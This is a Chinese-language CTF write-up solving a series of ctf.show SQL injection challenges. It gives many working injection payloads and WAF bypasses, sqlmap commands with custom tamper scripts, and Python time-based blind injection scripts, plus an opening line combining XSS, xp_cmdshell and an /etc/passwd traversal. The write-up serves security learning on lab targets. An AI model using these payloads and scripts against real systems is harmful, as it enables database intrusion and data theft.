    7178 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--; EXEC xp_cmdshell('cat ../../../etc/passwd')#

  • 報錯

    1') AND (SELECT 5989 FROM(SELECT COUNT(*),CONCAT(0x716b626271,(SELECT (ELT(5989=5989,1))),0x71767a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)and ('y')=('y

  • 時間盲注

    1') AND SLEEP(5)and ('y')=('y

  • 依次增加字段數

    1') UNION ALL SELECT NULL,NULL,NULLand ('y')=('y

  • 再次驗證sleep

    id=1') AND 8923=IF((49=49),SLEEP(5),8923)and ('y')=('y

  • 判斷表中記錄

    id=1') AND 4849=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM ctfshow_web.ctfshow_flaxc),1,1))>49),SLEEP(5),4849)and ('y')=('y

    再判斷是否等于49:

    !=49

  • 開始判斷内容了,似乎是二分法

    id=1') AND 2696=IF((ORD(MID((SELECT IFNULL(CAST(flagv AS CHAR),0x20) FROM ctfshow_web.ctfshow_flaxc ORDER BY flagv LIMIT 0,1),1,1))>151259),SLEEP(5),2696)and ('y')=('y

    我能看懂的流程也就這麼多,應該會有借鑒payload的時候,前面七七八八的pl真是不懂,response也沒東西,不曉得sqlmap是在幹嘛,但應該是有用的,有興趣可以抓包搜一下pl

web207

--tamper

的初體驗

waf:

preg_match('/ /', $str)

--current-db

檢索目前使用的資料庫名稱

--threads=num

線程

要上攻擊載荷了,就是編碼一些字元,檢視js還是有鑒權,waf過濾了空格,攻擊載荷可以在

sqlmap\tamper

目錄裡面看到

時間盲注,直接爆目前資料庫就好,不然等的心累

database:

py2 .\sqlmap.py -u "http://050a59e1-204c-45f2-9d4c-1856ee80a196.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://050a59e1-204c-45f2-9d4c-1856ee80a196.chall.ctf.show/api/getToken.php" --safe-freq=1 --dbms=mysql --current-db --dump --batch --prefix="')" --suffix="and ('y')=('y" --tamper=space2comment

額,上面的直接給我把庫和表都跑出來了,它還不盡興,想一下把資料都跑出來,但是時間盲注太慢了,我隻要flag就行

flag:

-D ctfshow_web -T ctfshow_flaxca -C flagvc --dump

最後加了個

--threads=3

時間盲注太慢了,加了個線程

web208

$id = str_replace('select', '', $id);

preg_match('/ /', $str)

//對傳入的參數進行了過濾
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }
           

繼續加載荷,過濾了

select

和空格

因為校園網+代理問題,一直302,故sqlmap暫時擱置,以後有機會再寫,可以先看Y4大佬的部落格

[11.29補]: 怎麼說呢,出題人失誤,select未比對大小寫,是以和上一題一樣。。。因為sqlmap跑的關鍵字全是大寫的根本比對不到哈哈哈

web209

sql:

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

waf:

preg_match('/ |\*|\=/', $str);

like代替=,自己寫tamper,基礎教程點此,一開始照着sqlmap自帶的tamper魔改了一下發現,database和tables、columns都可以跑出來,但是flag不能出,又去參考Y4大佬的部落格,okk更改過程寫在代碼裡了

最終payload:

py2 .\sqlmap.py -u "http://aad8992e-a4a8-4c56-9921-fa1277ac5427.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://aad8992e-a4a8-4c56-9921-fa1277ac5427.chall.ctf.show/api/getToken.php --safe-freq=1 --tamper="ctfshow_web209" --prefix="'" --dbms=mysql -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch

# encoding:     utf-8
# @Author:      yq1ng
# @Date:        2020-11-29 15:10
# @challenges: web209

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL # 目前腳本調用優先等級

def dependencies(): # 聲明目前腳本适用/不适用的範圍,可以為空。
	pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及請求頭的主要函數
    payload = web209(payload)
    return payload

def web209(payload):
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == "=":
                retVal += chr(0x0a)+"like"+chr(0x0a)
                continue

            elif payload[i] == "*":
                #retVal += chr(0x79)//跑flag發現不能用字母,GG
                retVal += chr(0x31)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal
           

web210

sql:

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

return:

return strrev(base64_decode(strrev(base64_decode($id))));

--> 先解碼再字元反轉再解碼再字元反轉

編寫tamper思路:反轉->編碼->反轉->編碼。參照自帶腳本

base64encode.py

最終payload:

py2 .\sqlmap.py -u "http://f0d17799-5320-4b1f-9e76-42fc7fc5bf3d.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://f0d17799-5320-4b1f-9e76-42fc7fc5bf3d.chall.ctf.show/api/getToken.php --safe-freq=1 --tamper="ctfshow_web210" --dbms=mysql -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch

# encoding:     utf-8
# @Author:      yq1ng
# @Date:        2020-11-29 16:20
# @challenges: web210

import base64

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL # 目前腳本調用優先等級

def dependencies(): # 聲明目前腳本适用/不适用的範圍,可以為空。
	pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及請求頭的主要函數
    payload = web210(payload)
    return payload

def web210(payload):
    retVal = payload

    if payload:
        retVal = base64.b64encode(payload[::-1].encode("utf-8"))
        retVal = base64.b64encode(retVal[::-1].encode("utf-8"))

    return retVal
           

web211

在上一題基礎上過濾了空格,好說,加上一行替換

最終payload:

py2 .\sqlmap.py -u "http://5773f437-30b9-4c52-a029-ebbffa67f89a.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://5773f437-30b9-4c52-a029-ebbffa67f89a.chall.ctf.show/api/getToken.php --safe-freq=1 --tamper="ctfshow_web211" --dbms=mysql -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump --batch

# encoding:     utf-8
# @Author:      yq1ng
# @Date:        2020-11-29 16:20
# @challenges: web211

import base64

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL # 目前腳本調用優先等級

def dependencies(): # 聲明目前腳本适用/不适用的範圍,可以為空。
	pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及請求頭的主要函數
    payload = web211(payload)
    return payload

def web211(payload):
    retVal = payload

    if payload:
        payload = payload.replace(" ","/**/")
        retVal = base64.b64encode(payload[::-1].encode("utf-8"))
        retVal = base64.b64encode(retVal[::-1].encode("utf-8"))

    return retVal
           

web212

211基礎過濾*,似曾相識?對!209的tamper加上!

最終payload:

py2 .\sqlmap.py -u "http://fe5aacfa-02d5-4596-a385-7bf1a7a3bca1.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://fe5aacfa-02d5-4596-a385-7bf1a7a3bca1.chall.ctf.show/api/getToken.php --safe-freq=1 --tamper="ctfshow_web212" --dbms=mysql -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump --batch

# encoding:     utf-8
# @Author:      yq1ng
# @Date:        2020-11-29 17:00
# @challenges: web212

import base64

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL # 目前腳本調用優先等級

def dependencies(): # 聲明目前腳本适用/不适用的範圍,可以為空。
	pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及請求頭的主要函數
    payload = web209(payload)
    payload = web212(payload)
    return payload

def web212(payload):
    retVal = payload

    if payload:
        retVal = base64.b64encode(payload[::-1].encode("utf-8"))
        retVal = base64.b64encode(retVal[::-1].encode("utf-8"))

    return retVal

def web209(payload):
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == "=":
                retVal += chr(0x0a)+"like"+chr(0x0a)
                continue

            elif payload[i] == "*":
                retVal += chr(0x31)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal
           

web213

任務:

練習使用--os-shell 一鍵getshell

參考:https://zhuanlan.zhihu.com/p/58007573

  1. 檢視目前注入點資料庫權限是否為dba

    py2 .\sqlmap.py -u "http://f35926e1-d8ff-419a-991b-12df1eb20362.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://f35926e1-d8ff-419a-991b-12df1eb20362.chall.ctf.show/api/getToken.php --safe-freq=1 --tamper="ctfshow_web212" --dbms=mysql --is-dba --batch

    \
    [17:23:47] [INFO] retrieved: [email protected]
    current user is DBA: True
               
  2. 尋找絕對路徑

    py2 .\sqlmap.py -u "http://f35926e1-d8ff-419a-991b-12df1eb20362.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://f35926e1-d8ff-419a-991b-12df1eb20362.chall.ctf.show/api/getToken.php --safe-freq=1 --tamper="ctfshow_web212" --dbms=mysql --sql-shell --batch

    select @@datadir;

    --> 資料庫絕對路徑 -->

    /var/lib/mysql/

    select @@basedir;

    --> MySql安裝路徑 -->

    /usr

  3. getshell

    失敗了,等着填坑,提示根目錄不對。。

web214

[11.29補]: 忘了214是時間盲注了,我以為是sqlmap,215腳本拿來用,不過是數字型注入,payload:

-1 or(if(left((select %s from %s),%d)='%s',sleep(3),1))

,還是要多跑兩邊,強烈建議

left()

截取函數,懶得改下面的了,參考表名:

ctfshow_flagx

,參考列名:

flaga

web215

提示查詢給了單引号,其他全沒有,真就閉着眼睛注呗,由于是先做的233,結果直接拿來用了,一個字:慢!!!太慢了!有時flag不準,跑了228S。。。學着寫線程了,估計明天才能出了,這兩天課多嗚嗚嗚。我回來了,太菜了寫不出來,程序鎖加上又太慢,師傅們寫了請務必讓本菜雞參考一下,在此非常感謝師傅

# encoding:     utf-8
# @Author:      yq1ng
# @Date:        2020-11-25 21:00
# @challenges: web215

import requests

url = "http://31bee14e-12a1-4dff-89f1-60ba46a1baaa.chall.ctf.show/api/index.php"
data = {"debug":1, "ip":""}
tb_name = ''
column_name = ''
flag = ''

for i in range(1,100):
    for j in r'ctfshow_abdegijklmnopqruvxyz-,1234567890!':
        payload = "-1'or(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',sleep(3),1))and'1'='1"% (i,j)
        data["ip"] = payload
        #print(data)
        r = requests.post(url, data = data)
        time = r.elapsed.total_seconds()
        #print(time)#擷取響應時間
        if time > 2:
            tb_name += j
            break
    print("\r[+]table name is %s"% tb_name, end = '')
    if j == "!":
        break

guess_tbName = input("\nPlease enter the name of the table you want to guess: ")
#column_name
for i in range(1,100):
    for j in r'abcdefghijklmnopqrstuvwxyz_,1234567890!':
        payload = "-1'or(if(substr((select group_concat(column_name) from information_schema.columns where table_name='%s'),%d,1)='%c',sleep(3),1))and'1'='1"% (guess_tbName,i,j)
        data["ip"] = payload
        #print(data)
        r = requests.post(url, data = data)
        time = r.elapsed.total_seconds()
        #print(time)#擷取響應時間
        if time > 2:
            column_name += j
            break
    print("\r[+]The column name in the %s table is %s"%(guess_tbName,column_name), end = '')
    if j == "!":
        break

guess_flag = input("\n\nOkay, we're getting a flag. Tell me the list:")
#flag
print("\nGetting the flag......")
for i in range(1,100):
    for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        payload = "-1'or(if(substr((select %s from %s),%d,1)='%c',sleep(3),1))and'1'='1"% (guess_flag,guess_tbName,i,j)
        data["ip"] = payload
        #print(data)
        r = requests.post(url, data = data)
        time = r.elapsed.total_seconds()
        #print(time)#擷取響應時間
        if time > 2:
            flag += j
            break
    print("\r[+]The flag is %s"% flag,end = '')
    if j == "}":
        break
           

web216

和215一樣,改改pl:

'MQ==')or(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',sleep(2),1)

,看了Y4師傅的腳本,不會,嗚嗚嗚,看都看不懂,俺菜死了,建議看看Y4師傅的,俺的周遊跑了4min,Y4師傅的腳本建議多跑兩邊,我跑了三次,三次都不一樣

web217

sql:

where id = ($id);

//waf
    //屏蔽危險分子
    function waf($str){
        return preg_match('/sleep/i',$str);
    } 
           

時間盲注除了

sleep()

還有

BENCHMARK()

,是以把pl的

sleep(2)

換成

BENCHMARK(3500000,md5('yq1ng')

即可,這個猜測正确傳回時間為2.35S,本地測試很快,一開始傳的傳回9S,計算了一下取了其1/4值

BENCHMARK(n, exp)

--> 測試一些函數的執行速度

參數介紹:第一個是執行的次數,第二個是要執行的函數或者是表達式

eg:

BENCHMARK(3500000,md5('yq1ng')

測試md5加密yq1ng 3500000次的時間,依次來達到延時效果

web218

好家夥,在上一題基礎上過濾了

BENCHMARK()

,不過還能用笛卡爾積去達到延時效果,參見此部落格,将

BENCHMARK()

改為

(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F)

即可,延時為1S,可以自己先測測再用

web219

這次屏蔽了

rlike

,上題思路應該是用正則比對來達到延時效果,例如:

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

,本地測試出現

ERROR 3699 (HY000): Timeout exceeded in regular expression match.

,故未使用,本方法參見MySQL時間盲注五種延時方法

還是上題腳本,給個參考,表名:

ctfshow_flagxca

,列名:

flagaabc

,flag一共42位,格式:

flag{3b75b8d2-fe1b-4e47-a2db-70cc9c8e2091}

,一遍可能不成功,多試幾次,我試了六七次嗚嗚嗚,再也不想做時間盲注了,截取單個字元一直不行可以試試

left()

每次截取少量字元串,多試幾次,奧裡給

給出參考表名:

ctfshow_flagxcac

,列名:

flagaabcc

web220

最後一題盲注了,過濾挺多:

preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);

看來上一題的姿勢挺多的,俺想不出來預期解,是以還是上一題腳本,等群主出預期,占坑

web221

sql:

$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

無過濾,提示:

//拿到資料庫名字就算你赢

參考P牛文章

LIMIT

後面可以跟兩個函數,

PROCEDURE

INTO

,into需要寫權限,一般不常見,但是

PROCEDURE

在msyql5.7以後已經棄用,8.0直接删除了。。。官方文檔在此

payload:

URL/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

,資料庫名就是flag

web222 | 223

我的腳本删了,幸好space man師傅還留着,在此感謝

# encoding: utf-8
# @Author:  yq1ng
# @Date:    2020-11-17 17:30

import requests
import time

url = input("Okay, Input your url: ")

tb_name = ''
all_column_len=0
column_name = ''
flag = ''

def creat_num(n):
    ret = "y"
    if n == 0:
        ret = ""
    elif n == 1:
        return ret
    else:
        for x in range(n-1):
            ret += "y"
    return ret


#table_name
print("\nGetting the table name...")
for x in range(1,100):# 不曉得有多少,盡量大喽,當然,while true也行
    for y in r'ctfshow_abdegijklmnopqruvxyz-,0123456789!':# 根據命名規則,表名是不會有!的,是以嘿嘿
        payload = '?u=id having (select mid(group_concat(table_name),length("%s"),length("y")) from information_schema.tables where table_schema=database())="%c"'% (creat_num(x),y)
        r = requests.get(url + payload)
        if r"\u67e5\u8be2\u6210\u529f" in r.text:
            tb_name += y
            break
    print("\r[+]table name is %s"% tb_name, end = '')
    if y == "!":
        break
print("\n\nDone!The table names in this database are:",tb_name)

guess_tbName = input("\nPlease enter the name of the table you want to guess: ")
#column_name
for x in range(1,100):
    for y in r'abcdefghijklmnopqrstuvwxyz_,!':
        payload = '?u=id having (select mid(group_concat(column_name),length("%s"),length("y")) from information_schema.columns where table_name="%s")="%c"'% (creat_num(x),guess_tbName,y)
        r = requests.get(url + payload)
        #print(payload)
        if r"\u67e5\u8be2\u6210\u529f" in r.text:
            column_name += y
            break
    print("\r[+]The column name in the %s table is %s"%(guess_tbName,column_name), end = '')
    if y == "!":
        break

guess_flag = input("\n\nOkay, we're getting a flag. Tell me the list:")

for x in range(1,100):
    payload = '?u=id having (select mid(group_concat(%s),length("%s"),length("y")) from %s) REGEXP "[a-z]|{|}|-"'% (guess_flag,creat_num(x),guess_tbName)
    r = requests.get(url + payload)
    #print(payload)
    if r"\u67e5\u8be2\u6210\u529f" in r.text:
        for y in r'flag{bcde-hijkmnopqrstuvwxyz}':
            payload = '?u=id having (select mid(group_concat(%s),length("%s"),length("y")) from %s)="%c"'% (guess_flag,creat_num(x),guess_tbName,y)
            r = requests.get(url + payload)
            #print(payload)
            if r"\u67e5\u8be2\u6210\u529f" in r.text:
                flag += y
                break
    else:
        for y in r'1234567890':
            payload = '?u=id having (select mid(group_concat(%s),length("%s"),length("y")) from %s)=length("%s")'% (guess_flag,creat_num(x),guess_tbName,creat_num(int(y)))
            r = requests.get(url + payload)
            #print(payload)
            if r"\u67e5\u8be2\u6210\u529f" in r.text:
                flag += y
                break
    print("\r[+]The flag is %s"% flag,end = '')
    if "}" in flag:
        break
           

web224

Y1ng大師傅部落格

用的群裡師傅的,payload,可以去下載下傳一波~~,不多解釋啦

web226

堆疊

sql:

$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

waf:

preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)

預編譯淦,引用自簡簡的我

PREPARE name from '[my sql sequece]';

--> 預定義SQL語句

EXECUTE name;

--> 執行預定義SQL語句

(DEALLOCATE || DROP) PREPARE name;

--> 删除預定義SQL語句
預編譯也能用變量

SET @tn = 'hahaha';

//存儲表名

SET @sql = concat('select * from ', @tn);

//存儲SQL語句

PREPARE name from @sql;

//預定義SQL語句

EXECUTE name;

//執行預定義SQL語句

(DEALLOCATE || DROP) PREPARE sqla;

//删除預定義SQL語句

但是ban了set,變量涼涼

先查表:

user1';show tables;#

payload1:

user1';PREPARE yq1ng from concat(char(115,101,108,101,99,116), ' * from `ctfshow_flagasa` ');EXECUTE yq1ng;#

注:

char(115,101,108,101,99,116)<----->'select'

payload2:

user1';PREPARE yq1ng from concat('s','elect', ' * from `ctfshow_flagasa` ');EXECUTE yq1ng;#

web226

sql:

$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

waf:

preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)

還好,上一條hex編碼就好了,記得前面加個0x;

查表:

?username=user1';PREPARE yq1ng from 0x73686F77207461626C6573;EXECUTE yq1ng;#

-->

hex("show tables")

flag:

?username=user1';PREPARE yq1ng from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE yq1ng;#

web227

MySQL的存儲過程

建議先看兩個參考:

MySQL 存儲過程介紹,

MySQL—檢視存儲過程和函數

照群主的話說就是flag即在表内又不在表内

先看表,和上一題一樣,接着。。。把表翻了一遍沒flag,問了群主是存儲過程,Google無果,給了payload:

1';call getFlag();

然後查

call

,找到上述兩篇連結,本地也複現了一下,也是類似預編譯,使用者自定義函數再去調用,直接

SELECT * FROM information_schema.Routines

可以發現所有自定函數及内容,payload:

?username=1';PREPARE yq1ng from 0x53454C4543542020202A20202046524F4D202020696E666F726D6174696F6E5F736368656D612E526F7574696E6573;EXECUTE yq1ng;#

本題也算是初步認識了存儲過程,以後再遇見也有點譜,複現記錄:

mysql> delimiter $$ //臨時定義結束符為$$
mysql> create procedure test() //建立函數
    -> begin //開始
    ->     select "flag{test}"; //語句
    -> end$$ //結束+結束符
Query OK, 0 rows affected (0.36 sec)
mysql> delimiter ; //将結束符改為;
mysql> call test(); //調用定義函數
+------------+
| flag{test} |
+------------+
| flag{test} |
+------------+
1 row in set (0.07 sec)

Query OK, 0 rows affected (0.07 sec)
           

web228 | 229 |230

sql
//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
$bansql = "select char from banlist;";
           
waf
//師傅說内容太多,就寫入資料庫儲存
if(count($banlist)>0){
foreach ($banlist as $char) {
    if(preg_match("/".$char."/i", $username)){
    die(json_encode($ret));
    }
}
}
           

和226一樣的套路,通殺了。。。主要是sql和waf不太一樣,所有沒放一起

過濾挺多,懶得解碼了:

{"id":"2","username":"user1","pass":"111"},{"id":"1","char":"union"},{"id":"2","char":"file"},{"id":"3","char":"into"},{"id":"4","char":"handler"},{"id":"5","char":"db"},{"id":"6","char":"select"},{"id":"7","char":"update"},{"id":"8","char":"dump"},{"id":"9","char":"delete"},{"id":"10","char":"create"},{"id":"11","char":"drop"},{"id":"12","char":"show"},{"id":"13","char":"describe"},{"id":"14","char":"set"},{"id":"15","char":"alter"}

web231 | 232

第一次寫update注入,才知道不能直接将查詢結果進行指派,詳見此,這種思路。。真騷

sql:

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

表名:

',username=(select yq1ng.a from (select group_concat(table_name)a from information_schema.tables where table_schema=database()) yq1ng) where username="user1";#

--> banlist,ctfshow_user,flaga

列名:

',username=(select yq1ng.a from (select group_concat(column_name)a from information_schema.columns where table_name="flaga") yq1ng) where username="user1";#

--> id,flagas,info

flag:

',username=(select yq1ng.a from (select group_concat(flagas)a from flaga) yq1ng) where username="user1";#

web233

掉進坑裡了,思路還在前兩題,感謝飛魚和space man師傅的思路,時間盲注,寫的亂亂的,有時間整理一個函數,簡潔一點

# encoding: utf-8
# @Author:  yq1ng
# @Date:    2020-11-20 23:00

import requests

url = "http://059e89aa-6633-4b85-a554-dea3e2b48d9a.chall.ctf.show/api/"
data = {"password":4, "username":""}
tb_name = ''
column_name = ''
flag = ''

for i in range(1,100):
    for j in r'ctfshow_abdegijklmnopqruvxyz-,1234567890!':
        payload = "user1'and(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',sleep(2),1))and'1'='1"% (i,j)
        data["username"] = payload
        #print(data)
        r = requests.post(url, data = data)
        time = r.elapsed.total_seconds()
        #print(time)#擷取響應時間
        if time > 2:
            tb_name += j
            break
    print("\r[+]table name is %s"% tb_name, end = '')
    if j == "!":
        break

guess_tbName = input("\nPlease enter the name of the table you want to guess: ")
#column_name
for i in range(1,100):
    for j in r'abcdefghijklmnopqrstuvwxyz_,1234567890!':
        payload = "user1'and(if(substr((select group_concat(column_name) from information_schema.columns where table_name='%s'),%d,1)='%c',sleep(2),1))and'1'='1"% (guess_tbName,i,j)
        data["username"] = payload
        #print(data)
        r = requests.post(url, data = data)
        time = r.elapsed.total_seconds()
        #print(time)#擷取響應時間
        if time > 2:
            tb_name += j
            break
    print("\r[+]The column name in the %s table is %s"%(guess_tbName,column_name), end = '')
    if j == "!":
        break

guess_flag = input("\n\nOkay, we're getting a flag. Tell me the list:")
#flag
print("\nGetting the flag......")
for i in range(1,100):
    for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        payload = "user1'and(if(substr((select %s from %s),%d,1)='%c',sleep(2),1))and'1'='1"% (guess_flag,guess_tbName,i,j)
        data["username"] = payload
        #print(data)
        r = requests.post(url, data = data)
        time = r.elapsed.total_seconds()
        #print(time)#擷取響應時間
        if time > 2:
            flag += j
            break
    print("\r[+]The flag is %s"% flag,end = '')
    if j == "}":
        break
           

web234

sql:

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

說是沒過濾,其實單引号沒了。。。永遠不要相信出題人的話,在BJDCTF 2nd的簡單注入一題中提到過單引号逃逸,當輸入的pass為

\

時,sql語句變為:

update ctfshow_user set pass = '\' where username = 'user1';

,此時pass為

where username =

實作單引号逃逸

payload:查表:

password=\&username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())#

,注意,這會把所有的user和pass全部改掉,實際注入加上where或者盲注

查列:

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#

flag:

password=\&username=,username=(select flagass23s3 from flag23a)#

web235

過濾

or '

這題。。上面的information帶or,參考bypass information

表名:

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

隻有這個成了,其他的沒成功

列名不得行,其他庫中并未存儲列名,還有辦法:無列名注入,上面的部落格也有寫,payload:

password=\&username=,username=(select `2` from (select 1,2,3 union select * from flag23a1 limit 1,1)y)#

,其實GYCTF2020 Ezsqli就已經寫過了

web236

增加過濾

flag

,棒棒哒

表名和上題一樣,測試了

password=flag&username=banlist,ctfshow_user,flaga

可以把密碼改為flag,也就是輸出過濾。。。我以為是輸入過濾

輸出編碼,前幾關就是這麼過的payload:

password=\&username=,username=(select hex(`2`) from (select 1,2,3 union select * from flaga limit 1,1)y)#

web237

sql:

$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

,無過濾

注意:insert盲注會産生大量資料

api下插入不得行,抓包發現是在

URL/api/insert.php

表名:

username=yq1ng',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=yq1ng

列名:

username=yq1ng',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=yq1ng

flag:

username=yq1ng',(select group_concat(flagass23s3) from flag))#&password=yq1ng

web238

過濾空格

那就不用呗,前面的老套路,括号淦,表名:

username=yq1ng',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=yq1ng

列名:

username=yq1ng',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#&password=yq1ng

flag:

username=yq1ng',(select(group_concat(flag))from(flagb)))#&password=yq1ng

web239

增加過濾

or

這是又過了一遍?前面的無列名注入?什麼你忘了?回去看看web235!

表名:

username=yq1ng',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=yq1ng

列名:占坑,試了沒弄出來

flag:

username=yq1ng',(select(group_concat(flag))from(flagbb)))#&password=yq1ng

,猜的。。。

web240

sql:

$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

waf:

空格 or sys mysql

Hint: 表名共9位,flag開頭,後五位由a/b組成,如flagabaab,全小寫

就這過濾,,,全靠運氣解法,後五位隻有ab,一共32中情況,确定了,是個算法題目,跑完去

URL/page.php

最後一頁看看,要是100次還沒出說明你也太黑了哈哈哈,腳本參考Y4師傅,先附上師傅腳本

"""
Author:Y4tacker
"""
import random
import requests

url = "http://35963b4d-3501-4bf2-b888-668ad24e1bc5.chall.ctf.show"
url_insert = url + "/api/insert.php"
url_flag = url + "/api/?page=1&limit=1000"


# 看命函數
def generate_random_str():
    sttr = 'ab'
    str_list = [random.choice(sttr) for i in range(5)]
    random_str = ''.join(str_list)
    return random_str


while 1:
    data = {
        'username': f"1',(select(flag)from(flag{generate_random_str()})))#",
        'password': ""
    }
    r = requests.post(url_insert, data=data)
    r2 = requests.get(url_flag)
    if "flag" in r2.text:
        for i in r2.json()['data']:
            if  "flag" in i['pass']:
                print(i['pass'])
                break
        break

           
# encoding:     utf-8
# @Author:      yq1ng
# @Date:        2020-11-29 23:00
# @challenges: web240

import requests
import random

url = "http://d140c93f-746e-41d4-a13e-02c42e17237d.chall.ctf.show/api/insert.php"
data = {'username': "", 'password': ''}

def TableName():
    values = "ab"
    table = [random.choice(values) for i in range(5)]
    tableName = ''.join(table)
    return tableName

for x in range(1,100):
    data["username"] = f"yq1ng',(select(flag)from(flag{TableName()})))#"
    s = requests.post(url, data = data)
    print(data)
           

或者你不看命,最多32次必出!自行加載

list1 = ['a','b']
def tbName():
    f = open("./tbname.txt','w+')
    for a1 in list1:
        for a2 in list1:
            for a3 in list1:
                for a4 in list1:
                    for a5 in list1:
                        f.write(a1+a2+a3+a4+a5+"\n")
tbName()
           

web241

無過濾的delete注入,基于時間盲注,表的内容不要太多,因為傳回時間是

sleep(x)*條數

(flag不對建議再跑一次,或者不急的話可以增加時間,因為伺服器響應可能有時候比較慢)

payload:

URL/api/delete.php

爆表:

-1 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',sleep(1),0)

,其他的就是正常注入,改一下if條件就好

注意,if最後條件為0,不然直接把表清空了hhh

web242

sql:

$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

無過濾

介紹一下

into outfile

  1. 介紹:

    SELECT INTO…OUTFILE語句把表資料導出到一個文本檔案中,并用LOAD DATA …INFILE語句恢複資料。但是這種方法隻能導出或導入資料的内容,不包括表的結構,如果表的結構檔案損壞,則必須先恢複原來的表的結構。也可以将查詢結果儲存在變量中。

  1. 文法:
    SELECT ... INTO OUTFILE 'file_name'
            [CHARACTER SET charset_name]
            [export_options]
    
    export_options:
        [{FIELDS | COLUMNS}
            [TERMINATED BY 'string']//分隔符
            [[OPTIONALLY] ENCLOSED BY 'char']
            [ESCAPED BY 'char']
        ]
        [LINES
            [STARTING BY 'string']
            [TERMINATED BY 'string']
        ]
               
    “OPTION”參數為可選參數選項,其可能的取值有:

    FIELDS TERMINATED BY '字元串'

    :設定字元串為字段之間的分隔符,可以為單個或多個字元。預設值是“\t”。

    FIELDS ENCLOSED BY '字元'

    :設定字元來包覆字段的值,隻能為單個字元。預設情況下不使用任何符号。

    FIELDS OPTIONALLY ENCLOSED BY '字元'

    :設定字元來包覆CHAR、VARCHAR和TEXT等字元型字段。預設情況下不使用任何符号。

    FIELDS ESCAPED BY '字元'

    :設定轉義字元,隻能為單個字元。預設值為“\”。

    LINES STARTING BY '字元串'

